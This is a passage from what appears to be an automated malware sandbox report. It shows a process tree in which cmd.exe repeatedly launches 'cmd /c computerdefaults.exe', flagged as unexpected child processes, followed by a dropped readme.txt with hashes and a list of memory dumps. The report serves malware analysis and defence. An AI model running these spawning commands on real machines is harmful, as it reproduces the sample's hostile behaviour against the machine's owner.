  computerdefaults.exe
  2⤵
  PID:4240

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4300
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4340

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4376
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4484

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4412
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4520

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4456
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4772

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4500
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4864

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4536
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4876

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4608
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4840

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4648
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4904

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4696
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4808

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\readme.txt

MD5
39f9877a78aec7afdf12affc21dc5309

SHA1
9a8ee83df66bcbaf1cc55073b58fbd4c37c92fb8

SHA256
796a007e9b1273ef1e8ecfb6d9cbd5f6a087e9a7d717c803b016075d0d953118

SHA512
45d7a3c8e478c801dd319f78d7fd2c964ce2b38dc60ca885a3d9d5b69f5ab8b0f9a08eeb84fec1301105e4a0db2429a7d245bb73c6dca8bbf5dba377eeb8a348

Download Submit
memory/348-137-0x0000000000000000-mapping.dmp

Download
memory/348-161-0x0000000000000000-mapping.dmp

Download
memory/352-157-0x0000000000000000-mapping.dmp

Download
memory/588-152-0x0000000000000000-mapping.dmp

Download
memory/704-136-0x0000000000000000-mapping.dmp

Download
memory/884-154-0x0000000000000000-mapping.dmp

Download
memory/904-131-0x0000000000000000-mapping.dmp

Download
memory/1116-162-0x0000000000000000-mapping.dmp

Download
memory/1356-151-0x0000000000000000-mapping.dmp

Download
memory/1416-153-0x0000000000000000-mapping.dmp

Download
memory/1540-147-0x0000000000000000-mapping.dmp

Download
memory/1564-163-0x0000000000000000-mapping.dmp

Download
memory/1568-159-0x0000000000000000-mapping.dmp

Download
memory/1580-135-0x0000000000000000-mapping.dmp

Download
memory/2084-150-0x0000000000000000-mapping.dmp

Download
memory/2216-138-0x0000000000000000-mapping.dmp

Download
memory/2240-143-0x0000000000000000-mapping.dmp

Download
memory/2280-146-0x0000000000000000-mapping.dmp

Download
memory/2372-130-0x000002A4A54B0000-0x000002A4A54B4000-memory.dmp

Filesize
16KB

Download
memory/2444-164-0x0000000000000000-mapping.dmp

Download
memory/2584-160-0x0000000000000000-mapping.dmp

Download
memory/2672-124-0x000002373AE30000-0x000002373AE31000-memory.dmp

Filesize
4KB

Download
memory/2672-118-0x0000023738DA0000-0x0000023738DA6000-memory.dmp

Filesize
24KB

Download
memory/2672-119-0x0000023738EF0000-0x0000023738EF1000-memory.dmp

Filesize
4KB

Download
memory/2672-121-0x0000023738F10000-0x0000023738F11000-memory.dmp

Filesize
4KB

Download
memory/2672-122-0x0000023738F20000-0x0000023738F21000-memory.dmp

Filesize
4KB

Download
memory/2672-120-0x0000023738F00000-0x0000023738F01000-memory.dmp

Filesize
4KB

Download
memory/2672-127-0x000002373AE80000-0x000002373AE81000-memory.dmp

Filesize
4KB

Download
memory/2672-155-0x000002373B490000-0x000002373B491000-memory.dmp

Filesize
4KB

Download
memory/2672-129-0x000002373AEA0000-0x000002373AEA1000-memory.dmp

Filesize
4KB

Download
memory/2672-123-0x000002373AE20000-0x000002373AE21000-memory.dmp

Filesize
4KB

Download
memory/2672-128-0x000002373AE90000-0x000002373AE91000-memory.dmp

Filesize
4KB

Download
memory/2672-125-0x000002373AE40000-0x000002373AE41000-memory.dmp

Filesize
4KB

Download
memory/2672-126-0x000002373AE70000-0x000002373AE71000-memory.dmp

Filesize
4KB

Download
memory/2692-139-0x0000000000000000-mapping.dmp

Download
memory/2868-141-0x0000000000000000-mapping.dmp

Download
memory/2948-142-0x0000000000000000-mapping.dmp

Download
memory/3032-166-0x0000000000000000-mapping.dmp

Download
memory/3236-145-0x0000000000000000-mapping.dmp

Download
memory/3536-165-0x0000000000000000-mapping.dmp

Download
memory/3536-134-0x0000000000000000-mapping.dmp

Download
memory/3616-148-0x0000000000000000-mapping.dmp

Download
memory/3692-133-0x0000000000000000-mapping.dmp

Download
memory/3784-158-0x0000000000000000-mapping.dmp

Download
memory/3824-156-0x0000000000000000-mapping.dmp

Download
memory/3876-140-0x0000000000000000-mapping.dmp

Download
memory/3960-144-0x0000000000000000-mapping.dmp

Download
memory/4080-149-0x0000000000000000-mapping.dmp

Download
memory/4240-167-0x0000000000000000-mapping.dmp

Download
memory/4340-168-0x0000000000000000-mapping.dmp

Download
memory/4484-169-0x0000000000000000-mapping.dmp

Download
memory/4520-170-0x0000000000000000-mapping.dmp

Download
memory/4772-171-0x0000000000000000-mapping.dmp

Download
memory/4808-172-0x0000000000000000-mapping.dmp

Download
memory/4840-173-0x0000000000000000-mapping.dmp

Download
memory/4864-174-0x0000000000000000-mapping.dmp

Download
memory/4876-175-0x0000000000000000-mapping.dmp

Download
memory/4904-176-0x0000000000000000-mapping.dmp

Download